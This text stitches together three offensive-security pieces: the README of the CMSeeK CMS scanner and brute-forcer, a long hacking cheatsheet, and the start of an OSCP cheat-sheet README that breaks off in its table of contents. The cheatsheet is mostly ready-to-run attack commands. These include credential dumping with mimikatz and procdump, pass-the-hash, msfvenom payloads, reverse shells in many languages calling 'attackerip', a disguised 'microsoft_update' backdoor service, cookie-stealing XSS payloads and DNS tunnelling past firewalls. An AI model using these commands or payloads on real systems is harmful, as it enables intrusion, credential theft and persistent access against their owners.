Version 1.1.3 [25-07-2020] - Version 1.1.2 [19-05-2019] - Version 1.1.1 [01-02-2019] - Version 1.1.0 [28-08-2018] - Version 1.0.9 [21-08-2018] - Version 1.0.8 [14-08-2018] - Version 1.0.7 [07-08-2018] ... ``` [Changelog File](https://github.com/Tuhinshubhra/CMSeeK/blob/master/CHANGELOG) ## Functions Of CMSeek: - Basic CMS Detection of over 170 CMS - Drupal version detection - Advanced Wordpress Scans - Detects Version - User Enumeration - Plugins Enumeration - Theme Enumeration - Detects Users (3 Detection Methods) - Looks for Version Vulnerabilities and much more! - Advanced Joomla Scans - Version detection - Backup files finder - Admin page finder - Core vulnerability detection - Directory listing check - Config leak detection - Various other checks - Modular bruteforce system - Use pre made bruteforce modules or create your own and integrate with it ## Requirements and Compatibility: CMSeeK is built using **python3**, you will need python3 to run this tool and is compitable with **unix based systems** as of now. Windows support will be added later. CMSeeK relies on **git** for auto-update so make sure git is installed. ## Installation and Usage: It is fairly easy to use CMSeeK, just make sure you have python3 and git (just for cloning the repo) installed and use the following commands: - git clone `https://github.com/Tuhinshubhra/CMSeeK` - cd CMSeeK - pip/pip3 install -r requirements.txt For guided scanning: - python3 cmseek.py Else: - python3 cmseek.py -u <target_url> [...] Help menu from the program: ``` USAGE: python3 cmseek.py (for guided scanning) OR python3 cmseek.py [OPTIONS] <Target Specification> SPECIFING TARGET: -u URL, --url URL Target Url -l LIST, --list LIST Path of the file containing list of sites for multi-site scan (comma separated) MANIPULATING SCAN: -i cms, --ignore--cms cms Specify which CMS IDs to skip in order to avoid flase positive. separated by comma "," --strict-cms cms Checks target against a list of provided CMS IDs. separated by comma "," --skip-scanned Skips target if it's CMS was previously detected. RE-DIRECT: --follow-redirect Follows all/any redirect(s) --no-redirect Skips all redirects and tests the input target(s) USER AGENT: -r, --random-agent Use a random user agent --googlebot Use Google bot user agent --user-agent USER_AGENT Specify a custom user agent OUTPUT: -v, --verbose Increase output verbosity VERSION & UPDATING: --update Update CMSeeK (Requires git) --version Show CMSeeK version and exit HELP & MISCELLANEOUS: -h, --help Show this help message and exit --clear-result Delete all the scan result --batch Never ask you to press enter after every site in a list is scanned EXAMPLE USAGE: python3 cmseek.py -u example.com # Scan example.com python3 cmseek.py -l /home/user/target.txt # Scan the sites specified in target.txt (comma separated) python3 cmseek.py -u example.com --user-agent Mozilla 5.0 # Scan example.com using custom user-Agent Mozilla is 5.0 used here python3 cmseek.py -u example.com --random-agent # Scan example.com using a random user-Agent python3 cmseek.py -v -u example.com # enabling verbose output while scanning example.com ``` ## Checking For Update: You can check for update either from the main menu or use `python3 cmseek.py --update` to check for update and apply auto update. P.S: Please make sure you have `git` installed, CMSeeK uses git to apply auto update. ## Detection Methods: CMSeek detects CMS via the following: - HTTP Headers - Generator meta tag - Page source code - robots.txt ## Supported CMSs: CMSeeK currently can detect **170+** CMS. Check the list here: [cmss.py](https://github.com/Tuhinshubhra/CMSeeK/blob/master/cmseekdb/cmss.py) file which is present in the `cmseekdb` directory. All the cmss are stored in the following way: ``` cmsID = { 'name':'Name Of CMS', 'url':'Official URL of the CMS', 'vd':'Version Detection (0 for no, 1 for yes)', 'deeps':'Deep Scan (0 for no 1 for yes)' } ``` ## Scan Result: All of your scan results are stored in a json file named `cms.json`, you can find the logs inside the `Result\<Target Site>` directory, and as of the bruteforce results they're stored in a txt file under the site's result directory as well. Here is an example of the json report log: ![Json Log](https://i.imgur.com/5dA9jQg.png) ## Bruteforce Modules: CMSeek has a modular bruteforce system meaning you can add your custom made bruteforce modules to work with cmseek. A proper documentation for creating modules will be created shortly but in case you already figured out how to (pretty easy once you analyze the pre-made modules) all you need to do is this: 1. Add a comment exactly like this `# <Name Of The CMS> Bruteforce module`. This will help CMSeeK to know the name of the CMS using regex 2. Add another comment `### cmseekbruteforcemodule`, this will help CMSeeK to know it is a module 3. Copy and paste the module in the `brutecms` directory under CMSeeK's directory 4. Open CMSeeK and Rebuild Cache using `R` as the input in the first menu. 5. If everything is done right you'll see something like this (refer to screenshot below) and your module will be listed in bruteforce menu the next time you open CMSeeK. <p align='center'> <img alt="Cache Rebuild Screenshot" width="600px" src="https://i.imgur.com/yhdzTYr.png" /> </p> ## Need More Reasons To Use CMSeeK? If not anything you can always enjoy exiting CMSeeK *(please don't)*, it will bid you goodbye in a random goodbye message in various languages. Also you can try reading comments in the code those are pretty random and weird!!! ## Screenshots: <p align="center"> <img alt="Main Menu" src="https://i.imgur.com/Eij6QvX.png" /> <br><em>Main Menu</em><br> <img alt="Scan Result" src="https://i.imgur.com/u0iyLdB.png" /> <br><em>Scan Result</em><br> <img alt="WordPress Scan Result" src="https://i.imgur.com/cOtCJLj.png" /> <br><em>WordPress Scan Result</em><br> </p> ## Guidelines for opening an issue: Please make sure you have the following info attached when opening a new issue: - Target - Exact copy of error or screenshot of error - Your operating system and python version **Issues without these informations might not be answered!** ## Disclaimer: **Usage of CMSeeK for testing or exploiting websites without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.** ## License: CMSeeK is licensed under [GNU General Public License v3.0](https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE) ## Follow Me @r3dhax0r: [Twitter](https://twitter.com/r3dhax0r)
# Hacking Cheatsheet List of commands and techniques to while conducting any kind of hacking :) # "The quieter you become, The more you’re able to hear" <img src="https://cdn.pixabay.com/photo/2013/07/13/11/43/tux-158547_960_720.png"/> # Apply the best nmap scanning strategy for all size networks # Host discovery, generate a list of surviving hosts $ nmap -sn -T4 -oG Discovery.gnmap 192.168.1.1/24 $ grep “Status: Up” Discovery.gnmap | cut -f 2 -d ‘ ‘ > LiveHosts.txt #http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt # Port found, found all the ports, but UDP port scanning will be very slow $ nmap -sS -T4 -Pn –top-ports 3674 -oG 3674 -iL LiveHosts.txt $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt # Displays the TCP / UDP port $ grep “open” FullTCP|cut -f 1 -d ‘ ‘ | sort -nu | cut -f 1 -d ‘/’ |xargs | sed ‘s/ /,/g’|awk ‘{print “T:”$0}’ $ grep “open” FullUDP|cut -f 1 -d ‘ ‘ | sort -nu | cut -f 1 -d ‘/’ |xargs | sed ‘s/ /,/g’|awk ‘{print “U:”$0}’ # Detect the service version $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt Nmap to avoid the firewall # Segmentation $ nmap -f # Modify the default MTU size, but it must be a multiple of 8 (8, 16, 24, 32, etc.) $ nmap –mtu 24 # Generate random numbers of spoofing $ nmap -D RND:10 [target] # Manually specify the IP to be spoofed $ nmap -D decoy1,decoy2,decoy3 etc. # Botnet scanning, first need to find the botnet IP $ nmap -sI [Zombie IP] [Target IP] # Designated source terminal $ nmap –source-port 80 IP # Add a random number of data after each scan $ nmap –data-length 25 IP # MAC address spoofing, you can generate different host MAC address $ nmap –spoof-mac Dell/Apple/3Com IP # Nmap for Web vulnerability scanning cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV –script=vulscan/vulscan.nse target nmap -sS -sV –script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV –script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV –script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV –script=vuln target nmap -PN -sS -sV –script=all –script-args vulscancorrelation=1 target # Web path scanner dirsearch DirBuster Patator- password guessing attacks # Brute force with Patator git clone https://github.com/lanjelot/patator.git /usr/share/patator $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 helo=’ehlo 192.168.17.128′ user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep=’incorrect password or account name’ # Use Fierce to brute DNS # Note: Fierce checks whether the DNS server allows zone transfers. If allowed, a zone transfer is made and the user is notified. If not, the host name can be enumerated by querying the DNS server. # http://ha.ckers.org/fierce/ $ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt # Use Nikto to scan Web services nikto -C all -h http://IP WordPress scan git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p # HTTP fingerprint identification wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt # Scan with Skipfish # Note: Skipfish is a Web application security detection tool, Skipfish will use recursive crawler and dictionary-based probe to generate an interactive site map, the resulting map will be generated after the security check output. skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP # Use the NC scan nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done # Unicornscan # NOTE: Unicornscan is a tool for information gathering and security audits. us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535 # Use Xprobe2 to identify the operating system fingerprint xprobe2 -v -p tcp:80:open IP Enumeration of Samba nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U “” target enum4linux target # Enumerates SNMP snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP # Useful Windows cmd command net localgroup Users net localgroup Administrators search dir/s *.doc system(“start cmd.exe /k $cmd”) sc create microsoft_update binpath=”cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe” start= auto error= ignore /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779 mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe “sekurlsa::minidump lsass.dmp” “log” “sekurlsa::logonpasswords” C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 # PuTTY connects the tunnel Forward the remote port to the destination address plink.exe -P 22 -l root -pw “1234” -R 445:127.0.0.1:445 IP # Meterpreter port forwarding https://www.offensive-security.com/metasploit-unleashed/portfwd/ # Forward the remote port to the destination address meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141 kali > rdesktop 127.0.0.1:3389 # Enable the RDP service reg add “hklm\system\currentcontrolset\control\terminal server” /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable # Close Windows Firewall netsh firewall set opmode disable Meterpreter VNC/RDP https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/ run getgui -u admin -p 1234 run vnc -p 5043 # Use Mimikatz Gets the Windows plaintext user name password git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full Gets a hash value git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd or apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP or meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell # Use Hashcat to crack passwords hashcat -m 400 -a 0 hash /root/rockyou.txt # Use the NC to fetch Banner information nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com <enter> <enter> # Use NC to bounce the shell on Windows c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80 nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000 Look for the SUID/SGID root file # Locate the SUID root file find / -user root -perm -4000 -print # Locate the SGID root file: find / -group root -perm -2000 -print # Locate the SUID and SGID files: find / -perm -4000 -o -perm -2000 -print # Find files that do not belong to any user: find / -nouser -print # Locate a file that does not belong to any user group: find / -nogroup -print # Find soft links and point to: find / -type l -ls # Python shell python -c ‘import pty;pty.spawn(“/bin/bash”)’ # Python \ Ruby \ PHP HTTP server python2 -m SimpleHTTPServer python3 -m http.server ruby -rwebrick -e “WEBrick::HTTPServer.new(:Port => 8888, 😀 ocumentRoot => Dir.pwd).start” php -S 0.0.0.0:8888 # Gets the PID corresponding to the process fuser -nv tcp 80 fuser -k -n tcp 80 # Use Hydra to crack RDP hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp # Mount the remote Windows shared folder smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw # Under Kali compile Exploit gcc -m32 -o output32 hello.c gcc -m64 -o output hello.c # Compile Windows Exploit under Kali wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe # NASM command Note: NASM, the Netwide Assembler, is a 80 x86 and x86-64 platform based on the assembly language compiler, designed to achieve the compiler program cross-platform and modular features. nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload # SSH penetration ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target SSH penetrates from one network to another ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target # Use metasploit for penetration # https://www.offensive-security.com/metasploit-unleashed/pivoting/ meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > Ctrl+Z msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter > ipconfig IP Address : 10.1.13.2 # Exploit-DB based on CSV file git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit “Linux Kernel” cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep “<|<=” | sort -k3 # MSF Payloads msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 –platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b “\x00” -a x86 –platform win -f c # MSF generates the Meterpreter Shell that bounces under Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 –platform linux -o shell # MSF build bounce Shell (C Shellcode) msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b “\x00\x0a\x0d” -a x86 –platform win -f c # MSF generates a bounce Python Shell msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py # MSF builds rebound ASP Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 –platform win -o shell.asp # MSF generates bounce shells msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh # MSF build bounces PHP Shell msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php add <?php at the beginning perl -i~ -0777pe’s/^/<?php \n/’ shell.php # MSF generates bounce Win Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 –platform win -o shell.exe # Linux commonly used security commands find / -uid 0 -perm -4000 find / -perm -o=w find / -name ” ” -print find / -name “..” -print find / -name “. ” -print find / -name ” ” -print find / -nouser lsof +L1 lsof -i arp -a getent passwd getent group for user in $(getent passwd|cut -f1 -d:); do echo “### Crontabs for $user ####”; crontab -u $user -l; done cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4 find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’ chattr -i file # Windows Buffer Overflow exploits msfvenom -p windows/shell_bind_tcp -a x86 –platform win -b “\x00” -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 –platform win -e x86/shikata_ga_nai -b “\x00” -f c # COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_) # Regular command: pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode ) !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr nosafeseh !mona config -set workingfolder C:\Mona\%p !mona config -get workingfolder !mona mod !mona bytearray -b “\x00\x0a” !mona pc 5000 !mona po EIP !mona suggest # SEH – Structured exception handling Note: SEH (“Structured Exception Handling”), or structured exception handling, is a powerful processor error or exception weapon provided by the Windows operating system to the programmer. # https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH # http://baike.baidu.com/view/243131.htm !mona suggest !mona nosafeseh nseh=”\xeb\x06\x90\x90″ (next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN) # ROP (DEP) Note: ROP (“Return-Oriented Programming”) is a computer security exploit technology that allows an attacker to execute code, such as un-executable memory and code signatures, in a security defense situation. DEP (“Data Execution Prevention”) is a set of hardware and software technology, in memory, strictly to distinguish between code and data to prevent the data as code execution. # https://en.wikipedia.org/wiki/Return-oriented_programming # https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B # https://en.wikipedia.org/wiki/Data_Execution_Prevention # http://baike.baidu.com/item/DEP/7694630 !mona modules !mona ropfunc -m *.dll -cpb “\x00\x09\x0a” !mona rop -m *.dll -cpb “\x00\x09\x0a” (auto suggest) # ASLR – Address space format randomization # https://en.wikipedia.org/wiki/Address_space_layout_randomization !mona noaslr # EGG Hunter technology Egg hunting This technique can be categorized as a “graded shellcode”, which basically supports you to find your actual (larger) shellcode (our “egg”) with a small, specially crafted shellcode, In search of our final shellcode. In other words, a short code executes first, then goes to the real shellcode and executes it. – Making reference to see Ice Forum , more details can be found in the code I add comments link. # https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ # http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf # http://www.fuzzysecurity.com/tutorials/expDev/4.html !mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t ‘w00t’ # GDB Debugger commonly used commands break *_start next step n s continue c # Data checking ‘REGISTERS’ and ‘MEMORY’ # Display the register values: (Decimal,Binary,Hex) print /d –> Decimal print /t –> Binary print /x –> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $19 = 0xd (gdb) # Display the value of a specific memory address command : x/nyz (Examine) n –> Number of fields to display ==> y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit) # BASH rebound Shell bash -i >& /dev/tcp/X.X.X.X/443 0>&1 exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1 # PERL rebound Shell perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”attackerip:443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ # Win platform perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”attackerip:4444″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’ # RUBY rebound Shell ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“attackerip”,”443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’ # Win platform ruby -rsocket -e ‘c=TCPSocket.new(“attackerip”,”443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’ ruby -rsocket -e ‘f=TCPSocket.open(“attackerip”,”443″).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’ # PYTHON rebound Shell python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“attackerip”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ # PHP bounce Shell php -r ‘$sock=fsockopen(“attackerip”,443);exec(“/bin/sh -i <&3 >&3 2>&3”);’ # JAVA rebound Shell r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]) p.waitFor() # NETCAT rebound Shell nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443 # If the -e parameter is disabled, you can try the following command # mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/ # If you installed the wrong version of netcat, try the following command rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f TELNET rebound Shell # If netcat is not available mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe XTERM rebound Shell # Enable the X server (: 1 – listen on TCP port 6001) apt-get install xnest Xnest :1 # Remember to authorize the connection from the target IP xterm -display 127.0.0.1:1 # Grant access xhost +targetip # Connect back to our X server on the target machine xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm # XSS # https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (“< iframes > src=http://IP:PORT </ iframes >”) <script>document.location=http://IP:PORT</script> ‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “;!–”<XSS>=&amp;amp;{()} <IMG SRC=”javascript:alert(‘XSS’);”> <IMG SRC=javascript:alert(‘XSS’)> <IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>””> <IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;> <IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041> <IMG SRC=”jav ascript:alert(‘XSS’);”> perl -e ‘print “<IMG SRC=javascript:alert(\”XSS\”)>”;’ > out <BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> (“>< iframes http://google.com < iframes >) <BODY BACKGROUND=”javascript:alert(‘XSS’)”> <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET> “><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e “><s”%2b”cript>alert(document.cookie)</script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E <img src=asdf onerror=alert(document.cookie)> SSH Over SCTP (using Socat) $ socat SCTP-LISTEN:80,fork TCP:localhost:22 $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80 $ ssh -lusername localhost -D 8080 -p 1337 # Metagoofil – Metadata collection tool Note: Metagoofil is a tool for collecting information using Google. $ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html # Use a DNS tunnel to bypass the firewall $ apt-get update $ apt-get -y install ruby-dev git make g++ $ gem install bundler $ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server $ bundle install $ ruby ./dnscat2.rb dnscat2> New session established: 16059 dnscat2> session -i 16059 https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell $ dnscat –host <dnscat server_ip>
<p align="center"> <img width="300" height="300" src="https://github.com/0xsyr0/OSCP/blob/main/files/kali_logo.svg"> </p> # OSCP Cheat Sheet Commands, Payloads and Resources for the OffSec Certified Professional Certification (OSCP). Since this little project get's more and more attention, I decided to update it as often as possible to focus more helpful and absolutely necessary commands for the exam. Feel free to submit a pull request or reach out to me on [Twitter](https://twitter.com/syr0_) for suggestions. Every help or hint is appreciated! DISCLAIMER: A guy on Twitter got a point. Automatic exploitation tools like `sqlmap` are prohibited to use in the exam. The same goes for the automatic exploitation functionality of `LinPEAS`. I am not keeping track of current guidelines related to those tools. For that I want to point out that I am not responsible if anybody uses a tool without double checking the latest exam restrictions and fails the exam. Inform yourself before taking the exam! I removed `sqlmap` because of the reasons above but `Metasploit` is still part of the guide because you can use it for one specific module. Thank you `Muztahidul Tanim` for making me aware and to [Yeeb](https://github.com/Yeeb1) for the resources. Here are the link to the [OSCP Exam Guide](https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide#exam-restrictions) and the discussion about [LinPEAS](https://www.offensive-security.com/offsec/understanding-pentest-tools-scripts/?hss_channel=tw-134994790). I hope this helps. ## Table of Contents - [Basics](https://github.com/0xsyr0/OSCP#basics) - [Information Gathering](https://github.com/0xsyr0/OSCP#information-gathering) - [Vulnerability Analysis](https://github.com/0xsyr0/OSCP#vulnerability-analysis) - [Web Application Analysis](https://github.com/0xsyr0/OSCP#web-application-analysis) - [Password Attacks](https://github.com/0xsyr0/OSCP#password-attacks) - [Reverse Engineering](https://github.com/0xsyr0/OSCP#reverse-engineering) - [Exploitation Tools](https://github.com/0xsyr0/OSCP#exploitation-tools) - [Post Exploitation](https://github.com/0xsyr0/OSCP#post-exploitation) - [Exploit Databases](https://github.com/0xsyr0/OSCP#exploit-databases) - [CVEs](https://github.com/0xsyr0/OSCP#cves) - [Payloads](https://github.com/0xsyr0/OSCP#payloads) - [Wordlists](https://github.com/0xsyr0/OSCP#wordlists) - [Social Media Resources](https://github.com/0xsyr0/OSCP#social-media-resources) - [Commands](https://github.com/0xsyr0/OSCP#commands) - [Basics](https://github.com/0xsyr0/OSCP#basics-1) - [curl](https://github.com/0xsyr0/OSCP#curl) - [Chisel](https://github.com/0xsyr0/OSCP#chisel) - [File Transfer](https://github.com/0xsyr0/OSCP#file-transfer) - 